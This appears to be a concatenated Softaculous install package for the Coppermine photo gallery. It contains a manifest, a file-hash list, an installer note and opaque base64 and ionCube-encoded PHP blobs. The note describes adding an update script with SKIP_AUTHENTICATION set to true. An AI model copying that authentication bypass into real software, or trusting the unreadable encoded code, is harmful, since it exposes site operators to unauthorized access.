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. Always check that albums/edit and albums/userpics and albums/* folder in zip is blank i.e only contains 'no_FTP-uploads_into_this_folder!.txt' and index.php
2. choose GD2 in Image package selection
3. We have added _update.php to auto update the installation. We have added the following line :
define('SKIP_AUTHENTICATION', true);
4. PHP REQUIREMENT LINK: https://github.com/coppermine-gallery/cpg1.6.x/blob/develop/README.txta:38:{s:8:"edit.xml";s:32:"883002534bcd3f658fa5b887ac5e9512";s:9:"notes.txt";s:32:"73a4778718792cb1dd9e927839aecb01";s:9:"clone.php";s:32:"e952d3ddddb44d78930fc27a64fdfd69";s:8:"data.zip";s:32:"ca1eb9251de4c0c7b61275771e83d96e";s:16:"PasswordHash.php";s:32:"7cb01d0af2a568c94f6a5dc67ad04db4";s:10:"import.php";s:32:"f5e89f243d8a351a9d5c63002c291e6d";s:11:"restore.php";s:32:"14836fede1272b92ef2983028edc8946";s:8:"info.xml";s:32:"886a47b60e92cb4b50e000614809caa2";s:10:"install.js";s:32:"25903d98c6137b2db7b792d4d06104f2";s:11:"upgrade.php";s:32:"9c55d19cfe62f2de224e22fdd4647515";s:15:"images/logo.gif";s:32:"1812663f573ab648b99d84fabe6b5dea";s:19:"images/owncloud.png";s:32:"a6f75d4ddcb03044a9ada79e4c4e6b8d";s:11:"install.xml";s:32:"e7e9f5c885c27fe0d0a3df9afde1e72e";s:12:"owncloud.sql";s:32:"f15651143498ac730dd39446a06478ab";s:8:"edit.php";s:32:"7be81988ca840616efb2c174f1797b07";s:11:"install.php";s:32:"257cd13a86f1485b6e51f789664f8847";s:10:"config.php";s:32:"c703dd2c568070b5a850ab823f4ef3ee";s:12:"owncloud.zip";s:32:"de8c8a2276b9c3139538f4f26f968027";s:11:"upgrade.xml";s:32:"08fcde99ac2e475f3b26d5fed8b22dbc";s:9:".htaccess";s:32:"9aaf49570190263e28e63ebfe8b18d2d";s:10:"_.htaccess";s:32:"c256c0df201ab055c073cb06dd8b99cf";s:15:"check_suphp.php";s:32:"241ef8b4594e2610b089e1a06e153814";s:13:"fileindex.php";s:32:"6d177ec0e83beaf5010ee17e3b8ba5e1";s:13:"changelog.txt";s:32:"54f4dbe95d6bad4d14f6e5d897de86e3";s:15:"update_pass.php";s:32:"c053bbe21649beabf2f44d98ef0cd568";s:9:"agora.zip";s:32:"e1873eb926172ac994b73bf007c73f8d";s:9:"_edit.xml";s:32:"883002534bcd3f658fa5b887ac5e9512";s:16:"images/agora.png";s:32:"3cae5b8feedd24be3e02bc2a875fa4c3";s:9:"_edit.php";s:32:"c85f9ec6560a2c6a00f0ad41d834fad1";s:10:"extend.php";s:32:"f41afa440a62e035c25a0de8582b8289";s:14:"config.inc.php";s:32:"6273239a5c7e3b64ac7afe8236ff84e5";s:9:"agora.sql";s:32:"5fc26ffd7218264f8c9d62deb8a398a1";s:7:"cpg.sql";s:32:"e2443e4166e1b1b4dc6dac57d30e77b5";s:11:"_update.php";s:32:"f2fe528f7b229149d65264fd19e77367";s:7:"cpg.zip";s:32:"a137018cf62baeb4126d8ca9aea2d5ae";s:14:"images/cpg.png";s:32:"1d07d764835a007c75452602ea544bfe";s:15:"images/logo.png";s:32:"35fde8cb15fb5fa0fdb1b601f4be5c78";s:10:"update.php";s:32:"e8e9df8c5fa212fe1e414f8935e036b6";}<soft xmlns="http://www.softaculous.com">
	<overview>
		<img src="logo.png" style="float:right;margin:10px" alt="" />{{overview}}
	</overview>
	<features>
		{{features}}
	</features>
	<demo>
		http://www.softaculous.com/demos/Coppermine
	</demo>
	<ratings>
		http://www.softaculous.com/softwares/galleries/Coppermine
	</ratings>
	<space>
		8397113
	</space>
	<support>
		https://coppermine-gallery.com/
	</support>
	<version>
		1.6.27
	</version>
	<mod>52</mod>
	<release_date>20-07-2024</release_date>
	<admin>login.php?referer=admin.php</admin>
	<softversion>
		4.5.4
	</softversion>
	<requirement check="php" type="version" operator="ge" value="5.4.0" />
	<requirement check="php" type="extension" name="gd" />
	<languages>
		<english-overview>
		<font size="5" color="#182e7a">Coppermine</font> is a multi-purpose fully-featured and integrated web picture gallery script written in PHP using GD or ImageMagick as image library with a MySQL backend. <br /><br />
		CPG is so fully featured it's not enough to fully list them.
		Please click the Features Tab to see some of the features.
		<br /><br />
		Coppermine Photo Gallery (CPG) is an open source project released under the <a href="http://www.gnu.org/licenses/gpl.html" target="_blank">GNU/GPL</a> terms.
		</english-overview>		
		<english-features>
		<ul>
		   <li>arrangement of pictures in categories and albums;</li>
		   <li>picture information stored in database;</li>
		   <li>users can upload pictures with web interface or ftp (and admin can batch-add to database);</li>
		   <li>full multimedia support</li>
		   <li>creation of thumbnails and intermediate size pics;</li>
	
		   <li>search feature;</li>
		   <li>last added;</li>
		   <li>random picture;</li>
		   <li>user management (private galleries, groups);</li>
		   <li>integration of user management with various bbs (like phpBB, YaBB SE, SMF, Invisionboard, vbulletin);</li>
		   <li>caption, title, description and user defined fields for each picture (searchable);</li>
	
		   <li>easy install (installer provided);</li>
		   <li>multi-lingual: Arabian, Brazilian Portuguese, Bulgarian, Catalan, Chinese (both Big-5 and GB), Croatian, Czech, Danish, Dutch, English, Estonian, Finnish, French, German (both "Du" and "Sie"), Greek, Hebrew, Hungarian, Indonesian, Italian, Japanese, Latvian, Malay, Norwegian, Polish, Romanian (both with and without diacritics), Russian, Slovenian, Spanish, Swedish, Uighur, Vietnamese; if your language is not on the list, you can easily create a translation for your own language;</li>
		   <li>user comments;</li>
		   <li>e-card feature;</li>
		   <li>slideshow viewer;</li>
		   <li>all features customizable with web interface (admin section);</li>
	
		   <li>template system;</li>
		   <li>user membership in multiple groups;</li>
		   <li>upload approval notice for admin;</li>
		   <li>EXIF/IPTC support;</li>
		   <li>language selection option in template;</li>
		   <li>image rotation;</li>
	
		   <li>multi-pic upload;</li>
		   <li>separation of the breadcrumb block so that it can be placed independently of category in the template;</li>
		   <li>option to choose max height or width for thumbnails will help in creating nicer looking thumbnail rows and cols;</li>
		   <li>option to display a clickable filmstrip of thumbnails below the image display;</li>
		   <li>option to show first level albums of a category instead of just statistics of the category;</li>
		   <li>option of turning on OR off the showing of "Private" Icon to unlogged / unprivileged user;</li>
	
		   <li>title option to sort in albums;</li>
		   <li>online help feature for the admin pages;</li>
		   <li>plugin-API;</li>
		   <li>English as a fallback language for un-translated entries in language files;</li>
		   <li>password-protected albums;</li>
		   <li>more admin-settable user profile fields;</li>
	
		   <li>picture-resize on upload;</li>
		   <li>bbs integration settable with a wizard-like user interface;</li>
		   <li>advanced search (boolean operators);</li>
		</ul>
		</english-features>
		<english-exp_ad_pass>New password. Leave blank if you do not want to reset the password</english-exp_ad_pass>
		<english-err_no_username>Please provide the username to reset the password</english-err_no_username>
		<english-err_no_such_user>The Admin username is incorrect and does not exist!</english-err_no_such_user>		
	</languages>
</soft>
<?php //0046a
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the <a href="http://www.ioncube.com/lw/">ionCube Loader Wizard</a> to assist with installation.');exit(199);
?>
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

Batosay - 2023
IDNSEO Team